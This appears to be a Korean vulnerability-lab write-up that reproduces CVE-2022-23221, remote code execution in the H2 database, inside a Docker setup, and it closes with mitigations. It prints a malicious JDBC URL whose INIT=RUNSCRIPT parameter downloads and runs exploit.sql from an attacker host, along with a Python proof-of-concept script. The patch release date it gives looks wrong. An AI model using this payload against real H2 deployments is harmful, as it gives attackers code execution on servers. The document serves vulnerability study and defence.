
H2-database-CVE-2022-23221 — Updated!
vulhub/H2-database/CVE-2022-23221
H2 Database RCE (CVE-2022-23221)
1. 요약
-
H2는 관계형 데이터베이스 관리 시스템으로, SQL 엔진 안에서 Java 코드를 직접 컴파일하고 실행할 수 있는 기능을 제공한다.
-
H2 드라이버는 JDBC URL을 파싱하여 애플리케이션과 데이터베이스 간의 연결을 설정한다. 이때 URL에 포함된 설정 파라미터를 통해 데이터베이스의 초기 상태나 동작을 제어할 수 있다.
-
문제가 되는 H2 2.1.210 이전 버전에는 JDBC URL의 INIT 파라미터를 통해서 원격 SQL 스크립트를 실행할 수 있다는 문제가 있다. 공격자가 이를 악용하여 조작된 SQL 스크립트를 원격에서 주입하고 그 내부의 구문을 통해서 시스템 명령어를 실행함으로써 CVE-2022-23221 취약점이 유발된다.
-
이 취약점의 특징은 다음과 같다.
- 인증 불필요: JDBC URL 을 입력할 수 있는 권한만 있다면 누구나 이 취약점을 이용해서 시스템의 제어권을 탈취할 수 있다.
- 서비스 시작 시 자동실행: 공격자가 설정파일만 수정하면 h2를 사용하는 서비스가 시작할 때 자동으로 RCE(원격 코드 실행)가 발생한다.
- 은폐성: 개발자가 공격을 인지하기 어렵다.
- 넓은 피해 범위: H2의 빠른 속도와 경량성으로 H2는 다양한 웹 서비스의 개발/테스트용으로 사용되고 있다. 설정 파일을 통해서, 혹은 사용자의 입력을 받아서 JDBC URL을 설정할 수 있는 모든 환경이 이 취약점을 이용한 공격의 대상이 될 수 있기 때문에 파급력이 크다.
-
취약점 영향 범위
- 영향을 받는 버전: H2 2.1.210 미만
- 패치 버전: H2 2.1.210 이상
2. 취약점 조건
- H2 2.1.210 이전 버전일 것.
- JDCB URL에
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’이 포함되어 있을 것.IGNORE_UNKNOWN_SETTINGS=TRUE,FORBID_CREATION=FALSE-> 보안 설정 우회- 이 파라미터가 있으면 보안 설정이 무력화되기 때문에 초기화 시에 원격 스크립트 실행 명령이 차단되지 않고 그대로 수행된다.
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql'-> 애플리케이션과 DB 연결 시 자동으로 실행되는 SQL 명령- INIT 파라미터의 값으로 SQL 명령어인 RUNSCRIPT와 악성 스크립트의 주소가 포함되어 있다면 H2는 애플리케이션과 H2 DB 연결이 성립될 때 해당 서버에 접속해서 파일을 다운로드 받아서 실행한다.
- 다운로드한 SQL 스크립트 내부에
CREATE ALIASSQL 구문이 있을 것.- 원격으로 실행시킬 스크립트 내부의
CREATE ALIAS구문은 H2가 DB 내에서 스크립트 내의 Java 함수를 실행하게 만들며, 결과적으로는 RCE가 발생한다.
- 원격으로 실행시킬 스크립트 내부의
3. 환경 구성
-
시나리오
- 취약한 H2 환경을 구성하고, 악성 JDBC URL을 H2에 입력한다. H2는 이 URL을 제대로 된 검증없이 파싱하고, attacker 서버로부터 sql 파일을 받아서 실행한다. 만약 h2-vulnerable 서버의 로그에 “EXPLOITED” 문자열과 함께 명령어
id,whoami,pwd의 실행 결과가 출력된다면 이는 취약한 H2 환경이 구성되었고, H2가 악성 JDBC URL을 파싱하는 과정에서 외부의 attacker 서버로부터 exploit.sql 파일이 원격으로 다운로드되어 실행됐다는 것을 의미한다.
- 취약한 H2 환경을 구성하고, 악성 JDBC URL을 H2에 입력한다. H2는 이 URL을 제대로 된 검증없이 파싱하고, attacker 서버로부터 sql 파일을 받아서 실행한다. 만약 h2-vulnerable 서버의 로그에 “EXPLOITED” 문자열과 함께 명령어
-
환경 구성
docker compose up -d
- 명령어를 실행하면 아래의 환경들이 시작된다.
- h2-vulnerable: H2 2.0.206 (패치 전 취약 버전)
- H2 웹 콘솔:
http://your-ip:8082 - TCP 서버:
tcp://your-ip:9092
- H2 웹 콘솔:
- attacker: HTTP 서버
http://your-ip:8000:exploit.sql파일 제공
-
환경구성 후 http://your-ip:8082 에 접속하면 H2 웹 페이지가 나타난다.
4. 재현 절차
: 웹 콘솔에서는 보안 정책이 적용되어 있어서 취약점 조건이 되는 파라미터들이 필터링될 수 있으므로 악성 파라미터가 포함된 JDBC URL을 CLI를 통해 직접 입력해서 취약점을 재현하고 그 결과를 확인한다.
[정상 요청 case]
-
정상 JDBC URL: "jdbc:h2:mem:test"
-
정상 요청 명령어
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:mem:test" \ -user sa \ -password "" -
실행 결과

- attacker 서버에 들어온 요청없음
- h2-vulnerable 서버에 별다른 로그가 출력되지 않음
[취약점 공격 case]
- 악성 JDBC URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
1. 공격실행
-
악성 JDBC URL을 H2 드라이버에 입력해서 attacker 서버와 연결을 시도한다. 이때 URL을 입력하는 방법에는 2가지가 있다.
- CLI를 통해서 H2 Shell에 악성 JDBC URL을 직접 입력한다.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \ -user sa \ -password ""
- PoC 파일을 실행한다.
python3 poc.py
2. 파일 요청 및 실행
-
H2는 JDBC URL의 INIT 파라미터에 명시된
INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'대로 attacker 서버로 exploit.sql 파일을 요청(HTTP GET)하고 이를 H2 데이터베이스 내에서 실행한다.docker logs attacker를 실행하면 h2-vulnerable 서버로부터 들어온 exploit.sql 파일 요청 로그를 확인할 수 있다.
docker logs attacker
- attacker 서버는 요청받은 exploit.sql 파일을 반환하고, h2-vulnerable 서버는 수신한 exploit.sql 파일을 실행한다. 이때 스크립트 내부의 CREATE ALIAS 구문이 자바 코드 실행을 유도함으로써 RCE가 발생한다
5. poc.py 코드
#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
6. 실행결과
-
exploit.sql 파일의 실행 결과로 h2-vulnerable 서버의 로그에 “EXPLOITED” 문자열과 함께 명령어
id,whoami,pwd의 실행 결과가 출력된다. -
docker logs h2-vulnerable로 로그를 확인할 수 있다.docker logs h2-vulnerable`
=> 이는 취약한 h2 환경이 구성되었고, H2가 악성 JDBC URL을 파싱하는 과정에서 파일 원격 다운로드 및 실행이 성공했음을 의미한다.
7. 대응방안
- H2 2.1.210 이상 버전으로 업그레이드
- 패치 내용: INIT 파라미터의 외부 스크립트 실행 기능 제한
- 릴리스 날짜: 2022-05-15
- JDBC URL 입력값 검증 강화: 원격 코드 실행을 유발하는 INIT, RUNSCRIPT 등의 파라미터가 포함된 입력을 차단하고, 화이트리스트 기반 방식으로 JDBC URL 입력을 검증한다.
- 설정 및 환경 무결성 모니터링: 설정 파일 변경 시 변조 여부 검증 이후 관리자의 승인을 거치도록 한다.